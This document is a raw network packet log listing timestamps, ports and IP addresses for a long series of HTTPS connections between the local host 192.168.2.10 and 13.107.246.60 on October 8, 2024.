Oct 8, 2024 03:24:32.348155975 CEST	49862	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.348186970 CEST	443	49862	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.349267960 CEST	49862	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.349273920 CEST	443	49862	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.385804892 CEST	443	49863	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.386238098 CEST	49863	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.386251926 CEST	443	49863	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.386698961 CEST	49863	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.386703968 CEST	443	49863	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.448647976 CEST	443	49862	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.448983908 CEST	443	49862	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.449031115 CEST	443	49862	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.449058056 CEST	49862	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.449095964 CEST	49862	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.449321985 CEST	49862	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.449321985 CEST	49862	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.449359894 CEST	443	49862	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.449373007 CEST	443	49862	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.452136040 CEST	49867	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.452181101 CEST	443	49867	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.452280998 CEST	49867	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.452461958 CEST	49867	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.452474117 CEST	443	49867	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.456007957 CEST	443	49864	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.456574917 CEST	49864	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.456593037 CEST	443	49864	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.457056999 CEST	49864	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.457065105 CEST	443	49864	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.490580082 CEST	443	49863	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.490777969 CEST	443	49863	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.490834951 CEST	443	49863	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.490976095 CEST	49863	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.490976095 CEST	49863	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.491161108 CEST	49863	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.491179943 CEST	443	49863	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.491194963 CEST	49863	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.491200924 CEST	443	49863	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.494407892 CEST	49868	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.494457960 CEST	443	49868	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.494569063 CEST	49868	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.494750023 CEST	49868	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.494764090 CEST	443	49868	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.554948092 CEST	443	49864	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.555372953 CEST	443	49864	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.555566072 CEST	49864	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.555566072 CEST	49864	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.555566072 CEST	49864	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.558532000 CEST	49869	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.558573008 CEST	443	49869	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.558660984 CEST	49869	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.558850050 CEST	49869	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.558864117 CEST	443	49869	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.655170918 CEST	443	49865	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.655854940 CEST	49865	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.655879021 CEST	443	49865	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.656461000 CEST	49865	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.656466007 CEST	443	49865	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.758765936 CEST	443	49865	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.758799076 CEST	443	49865	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.758852005 CEST	443	49865	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.759030104 CEST	49865	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.759030104 CEST	49865	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.759315968 CEST	49865	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.759334087 CEST	443	49865	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.759346008 CEST	49865	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.759351015 CEST	443	49865	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.762804031 CEST	49870	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.762844086 CEST	443	49870	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.762922049 CEST	49870	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.763078928 CEST	49870	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.763091087 CEST	443	49870	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.815354109 CEST	443	49866	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.816168070 CEST	49866	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.816190004 CEST	443	49866	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.816713095 CEST	49866	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.816716909 CEST	443	49866	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.868617058 CEST	49864	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.868669033 CEST	443	49864	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.914879084 CEST	443	49866	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.914958954 CEST	443	49866	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.915008068 CEST	49866	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.915195942 CEST	49866	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.915215969 CEST	443	49866	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.915226936 CEST	49866	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.915234089 CEST	443	49866	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.918557882 CEST	49871	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.918581963 CEST	443	49871	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:32.918647051 CEST	49871	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.918775082 CEST	49871	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:32.918783903 CEST	443	49871	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.114671946 CEST	443	49867	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.115351915 CEST	49867	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.115377903 CEST	443	49867	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.115981102 CEST	49867	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.115987062 CEST	443	49867	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.137099028 CEST	443	49868	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.137574911 CEST	49868	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.137593985 CEST	443	49868	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.138164997 CEST	49868	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.138169050 CEST	443	49868	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.218506098 CEST	443	49869	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.219379902 CEST	49869	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.219413996 CEST	443	49869	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.219997883 CEST	49869	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.220006943 CEST	443	49869	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.220498085 CEST	443	49867	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.220516920 CEST	443	49867	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.220566034 CEST	443	49867	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.220565081 CEST	49867	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.220604897 CEST	49867	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.220810890 CEST	49867	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.220830917 CEST	443	49867	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.220841885 CEST	49867	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.220849037 CEST	443	49867	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.224170923 CEST	49872	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.224212885 CEST	443	49872	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.224265099 CEST	49872	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.224414110 CEST	49872	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.224425077 CEST	443	49872	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.237719059 CEST	443	49868	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.237751007 CEST	443	49868	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.237801075 CEST	443	49868	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.237808943 CEST	49868	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.237838984 CEST	49868	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.237953901 CEST	49868	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.237967968 CEST	443	49868	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.237982035 CEST	49868	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.237987995 CEST	443	49868	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.240597963 CEST	49873	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.240629911 CEST	443	49873	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.240680933 CEST	49873	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.240875959 CEST	49873	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.240886927 CEST	443	49873	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.319267035 CEST	443	49869	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.319339037 CEST	443	49869	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.319396019 CEST	443	49869	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.319466114 CEST	49869	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.319506884 CEST	49869	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.319742918 CEST	49869	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.319762945 CEST	443	49869	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.319776058 CEST	49869	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.319781065 CEST	443	49869	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.322832108 CEST	49874	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.322866917 CEST	443	49874	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.322937012 CEST	49874	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.323069096 CEST	49874	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.323080063 CEST	443	49874	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.414346933 CEST	443	49870	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.415199041 CEST	49870	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.415225029 CEST	443	49870	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.415684938 CEST	49870	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.415690899 CEST	443	49870	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.516390085 CEST	443	49870	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.516777039 CEST	443	49870	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.517153025 CEST	49870	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.517210007 CEST	49870	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.517227888 CEST	443	49870	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.517239094 CEST	49870	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.517245054 CEST	443	49870	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.520174980 CEST	49875	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.520234108 CEST	443	49875	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.520338058 CEST	49875	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.520486116 CEST	49875	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.520503044 CEST	443	49875	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.550404072 CEST	443	49871	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.551821947 CEST	49871	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.551835060 CEST	443	49871	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.552284002 CEST	49871	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.552288055 CEST	443	49871	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.648878098 CEST	443	49871	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.649128914 CEST	443	49871	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.649251938 CEST	49871	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.649475098 CEST	49871	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.649491072 CEST	443	49871	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.649502039 CEST	49871	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.649507046 CEST	443	49871	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.652523041 CEST	49876	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.652554035 CEST	443	49876	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.652630091 CEST	49876	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.652832985 CEST	49876	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.652841091 CEST	443	49876	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.927599907 CEST	443	49872	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.928744078 CEST	49872	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.928783894 CEST	443	49872	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.929208040 CEST	49872	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.929214001 CEST	443	49872	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.935373068 CEST	443	49873	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.936594009 CEST	49873	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.936604977 CEST	443	49873	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:33.937021971 CEST	49873	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:33.937026978 CEST	443	49873	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.029866934 CEST	443	49872	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.029963970 CEST	443	49872	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.030102015 CEST	49872	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.030284882 CEST	49872	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.030308962 CEST	443	49872	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.030319929 CEST	49872	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.030325890 CEST	443	49872	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.033430099 CEST	49877	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.033463001 CEST	443	49877	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.033544064 CEST	49877	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.033680916 CEST	49877	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.033693075 CEST	443	49877	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.036040068 CEST	443	49873	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.036117077 CEST	443	49873	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.036178112 CEST	49873	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.036192894 CEST	443	49873	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.036225080 CEST	443	49873	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.036267042 CEST	49873	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.036328077 CEST	49873	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.036340952 CEST	443	49873	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.036351919 CEST	49873	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.036356926 CEST	443	49873	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.038232088 CEST	49878	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.038239956 CEST	443	49878	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.038368940 CEST	49878	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.038415909 CEST	49878	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.038422108 CEST	443	49878	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.042587996 CEST	443	49874	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.044549942 CEST	49874	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.044557095 CEST	443	49874	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.045180082 CEST	49874	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.045185089 CEST	443	49874	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.145876884 CEST	443	49874	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.146034002 CEST	443	49874	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.146107912 CEST	49874	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.146341085 CEST	49874	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.146353006 CEST	443	49874	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.146383047 CEST	49874	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.146389008 CEST	443	49874	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.149271965 CEST	49879	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.149321079 CEST	443	49879	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.149388075 CEST	49879	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.149579048 CEST	49879	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.149593115 CEST	443	49879	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.209764957 CEST	443	49875	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.210588932 CEST	49875	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.210634947 CEST	443	49875	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.211040020 CEST	49875	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.211046934 CEST	443	49875	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.319375038 CEST	443	49875	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.319498062 CEST	443	49875	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.319555044 CEST	49875	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.319586992 CEST	443	49875	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.319628954 CEST	443	49875	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.319677114 CEST	49875	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.319780111 CEST	49875	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.319799900 CEST	443	49875	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.319809914 CEST	49875	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.319814920 CEST	443	49875	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.322768927 CEST	49880	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.322813988 CEST	443	49880	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.322890997 CEST	49880	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.323144913 CEST	49880	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.323159933 CEST	443	49880	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.331690073 CEST	443	49876	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.332098961 CEST	49876	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.332117081 CEST	443	49876	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.332520008 CEST	49876	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.332525015 CEST	443	49876	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.432266951 CEST	443	49876	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.432605028 CEST	443	49876	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.432672024 CEST	49876	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.432785988 CEST	49876	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.432833910 CEST	443	49876	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.432862997 CEST	49876	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.432879925 CEST	443	49876	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.442939043 CEST	49881	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.442984104 CEST	443	49881	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.443058014 CEST	49881	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.443175077 CEST	49881	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.443186998 CEST	443	49881	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.692461014 CEST	443	49877	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.692465067 CEST	443	49878	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.693239927 CEST	49878	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.693264008 CEST	443	49878	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.693662882 CEST	49878	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.693670034 CEST	443	49878	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.694072962 CEST	49877	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.694078922 CEST	443	49877	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.694411039 CEST	49877	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.694413900 CEST	443	49877	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.793268919 CEST	443	49877	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.793270111 CEST	443	49878	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.793461084 CEST	443	49877	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.793509960 CEST	443	49877	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.793514967 CEST	443	49878	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.793519974 CEST	49877	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.793560028 CEST	49878	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.793560028 CEST	49877	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.793675900 CEST	49877	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.793695927 CEST	443	49877	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.793706894 CEST	49877	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.793713093 CEST	443	49877	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.794780970 CEST	49878	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.794787884 CEST	443	49878	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.797272921 CEST	49882	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.797329903 CEST	443	49882	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.797415018 CEST	49882	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.797514915 CEST	49883	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.797555923 CEST	443	49883	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.797574997 CEST	49882	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.797591925 CEST	443	49882	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.797611952 CEST	49883	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.797730923 CEST	49883	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.797744989 CEST	443	49883	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.798913002 CEST	443	49879	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.799297094 CEST	49879	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.799328089 CEST	443	49879	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.799774885 CEST	49879	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.799786091 CEST	443	49879	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.899451017 CEST	443	49880	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.900629997 CEST	49880	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.900662899 CEST	443	49880	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.901077986 CEST	49880	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.901082993 CEST	443	49880	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.922408104 CEST	443	49879	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.922576904 CEST	443	49879	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.922672033 CEST	49879	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.922769070 CEST	49879	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.922787905 CEST	443	49879	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.922799110 CEST	49879	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.922804117 CEST	443	49879	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.925810099 CEST	49884	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.925858021 CEST	443	49884	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.925965071 CEST	49884	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.926121950 CEST	49884	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.926136971 CEST	443	49884	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.997937918 CEST	443	49880	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.998107910 CEST	443	49880	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:34.998169899 CEST	49880	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.998301983 CEST	49880	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:34.998321056 CEST	443	49880	13.107.246.60	192.168.2.10
